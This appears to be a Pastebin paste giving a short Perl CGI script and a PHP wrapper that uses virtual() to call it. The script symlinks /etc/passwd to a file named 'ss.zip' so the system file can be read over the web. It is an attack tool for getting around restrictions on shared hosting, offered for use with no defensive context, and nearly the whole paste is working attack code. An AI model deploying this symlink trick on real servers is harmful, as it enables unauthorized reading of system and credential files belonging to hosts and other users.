lehieuit

virtual Perl Php Symlink Bypass

Apr 20th, 2012
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. Code:
  2.  
  3. #!/usr/bin/perl -w
  4. $target="/etc/passwd";
  5. $distension ="ss.zip";
  6. print "Content-type: text/html\n\n";
  7. print '<body text="#C0C0C0" bgcolor="#000000">';
  8. $symlink = symlink($target,$distension);
  9. if($symlink == 1) { print " $distension Symlink Created Successfully . . ."; }
  10. else { print "Cannot Symlink File or File $distension Already Exists . . ."; }
  11.  
  12.  
  13.  
  14. Code:
  15.  
  16. <?php
  17.  
  18.  
  19. virtual("./ss.pl");
  20.  
  21.  
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment